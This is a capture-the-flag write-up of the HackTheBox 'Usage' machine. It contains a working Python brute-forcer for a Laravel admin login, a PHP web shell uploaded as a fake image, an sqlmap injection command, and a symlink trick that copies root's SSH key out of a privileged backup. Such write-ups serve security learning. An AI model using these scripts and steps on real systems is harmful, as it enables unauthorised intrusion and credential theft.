HTB; Linux; Easy; 10.129.13.246
Initial Enumeration
Nmap Port scan shows port 22, 80 are open
- 22, a regular ssh port, you rarely exploit it first
- 80, nginx 1.18.0, redirect to http://usage.htb, so we need to edit our /etc/hosts page, appending following
- 10.129.13.246(better use a tab in between)usage.htb
Port 80 seems to be a login page
Initial Foothold
I actually took the hard way, later when I was reading the walkthrough, this is a much easier way to do this. So, I am gonna write my way first. After playing around the website for some minutes, I’ve decided that I am going to brute force the admin’s credential. The only trouble is that with every request, the response will set new cookie values, by using the old cookie values to submit a post request to login will result in “Page Expired” issue. Here is an example
I used the credential admin:admin (this is the default credential for laravel) to login, and the response I got has set a new XSRF-TOKEN value and a new laraevl_session value. While I could use Burp Suite’s intruder for this task, but they are too slow for a non pro version. That’s why I am gonna write my own intruder to brute force admin’s password. The idea about how such code works will be written in a different post. (add the link later)
import requests
import re
#This is the GET request to get the XSRF-TOKEN, laraevl_session cookie values and _token value.
def extract_fields(raw_response):
res_headers = raw_response.headers
# print("Response Headers:", res_headers)
raw_cookie = res_headers['Set-Cookie']
xsrf_cookie = raw_cookie.split("laravel_session=")[0].split(" ")[0].split("XSRF-TOKEN=")[1][:-1]
laravel_cookie = raw_cookie.split("laravel_session=")[1].split(" ")[0][:-1]
# print(res_headers['Set-Cookie'])
# print()
# print(xsrf_cookie)
# print()
# print(laravel_cookie)
# Printing the content of the response
res_text = raw_response.text
# print("Content:", res_text)
token_pattern = re.compile(r'name=\"_token\" value=\"(.+)\">')
match = token_pattern.search(res_text)
if match:
token = match.group(1)
# print(token)
return xsrf_cookie, laravel_cookie, token
def brute_force(target_url, password, keywords):
response = requests.get(target_url)
# Printing the status code of the response
# print("Status Code:", response.status_code)
xsrf_cookie,laravel_cookie,token=extract_fields(response)
xsrf_cookie_name = 'XSRF-TOKEN'
laravel_cookie_name = "laravel_session"
cookies = {
xsrf_cookie_name: xsrf_cookie,
laravel_cookie_name: laravel_cookie
}
# Define the form data to be sent in the POST request
data = {
'username': 'admin',
'password': password,
'remember': '1',
'_token': token
}
# Define the headers, including Content-Type
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
# Send the POST request
response = requests.post(target_url, cookies=cookies, data=data, headers=headers)
# print(response.status_code)
if response.status_code == 200 and (keywords not in response.text):
return True
return False
# Print the response status and content
# print(f"Status Code: {response.status_code}")
# print(f"Response Content: {response.text}")
import time
# Record the start time
start_time = time.time()
target_url = "http://admin.usage.htb/admin/auth/login"
keywords = "These credentials do not"
wordlist_file = open('/usr/share/wordlists/rockyou.txt', 'r', errors='ignore')
# wordlist_file = open('/home/kali/Desktop/htb/Usage/password.txt', 'r', errors='ignore')
wordlist = wordlist_file.readlines()
wordlist_file.close()
tracker = 0
for word in wordlist:
password = word.strip('\n')
result = brute_force(target_url, password, keywords)
if result:
print("password found is: ", password)
break
tracker += 1
if tracker % 100 == 0:
print(tracker, "password: ", password)
time.sleep(0.01)
end_time = time.time()
# Calculate the elapsed time
elapsed_time = end_time - start_time
# Print the elapsed time
print(f"Program ran for {elapsed_time:.2f} seconds.")
Result
Found the password. I’d say I am lucky that the server uses default admin’s username “admin”, otherwise I won’t get a hit.
(update) damn, I forgot to include the final step of the privilege escalation. Anyway, you got to upload a file to the admin’s profile picture. It should be a php shellcode file with png or jpg extension after php extension. For example shell.php.jpg. I like the following shellcode, it’s simple and straight forward.
<?php echo shell_exec($_GET['cmd']); ?>
Locate the file path using right click and inspect, then grab path and use url_path?cmd=whoami, to test it out. (Sorry to lazy to initiate the virtual machine and do the step again, hope you can get it through with the hint I offered.
Another Approach
This is the solution from the walkthrough. To make that work, we’ll need to first capture a Login POST request to the server, and then update its cookies from the 302 response page. (Like the REQUEST/RESPONSE page in the top of the Initial Foothold part) Save the POST request to a file called send_post, then issue the following SQLMAP command
sqlmap -r send_post -p email –method POST –dbs –batch –level 3
We’ll get the following table getting dumped.
Using john the ripper will easily decrypt it.
Privilege Escalation
After we gained the initial foothold as dash, there is a file .monitrc at dash’s home directory that contains a password for the user xander
We could use su xander to impersonate that user
Using sudo -l showed that xander is able to use sudo for the binary /usr/bin/usage_management
Running sudo /usr/bin/usage_management gives us three options
If we pick 1. Project Backup, it will back up all the folders/files at /var/www/html to /var/backups/project.zip. This is a great news, if xander has a write permission over /var/www/html, then we could use symlink to link root folder under /var/www/html.
Good news, html folder is writable for everyone, which is not a safe practice at all. Now let’s symbolic link root folder with command
ln -s /root root
The idea behind it is when we run sudo /usr/bin/usage_management, it will back up all the folders/files under /var/www/html with root privilege, but all the files and folders’ owner is xander user. That’s why when we unzip the backup file, we’ll own a copy of the /root folder as xander user.
Now let’s unzip the back up file with command
unzip /var/backups/project.zip -d /tmp
At the /tmp folder, we see there is a root folder that belongs to xander
Inside the root folder, we see everything from the original root folder, including an id_rsa ssh private key
Using that private key, we could log in as root user, and hence gained the root privilege.
Cheers!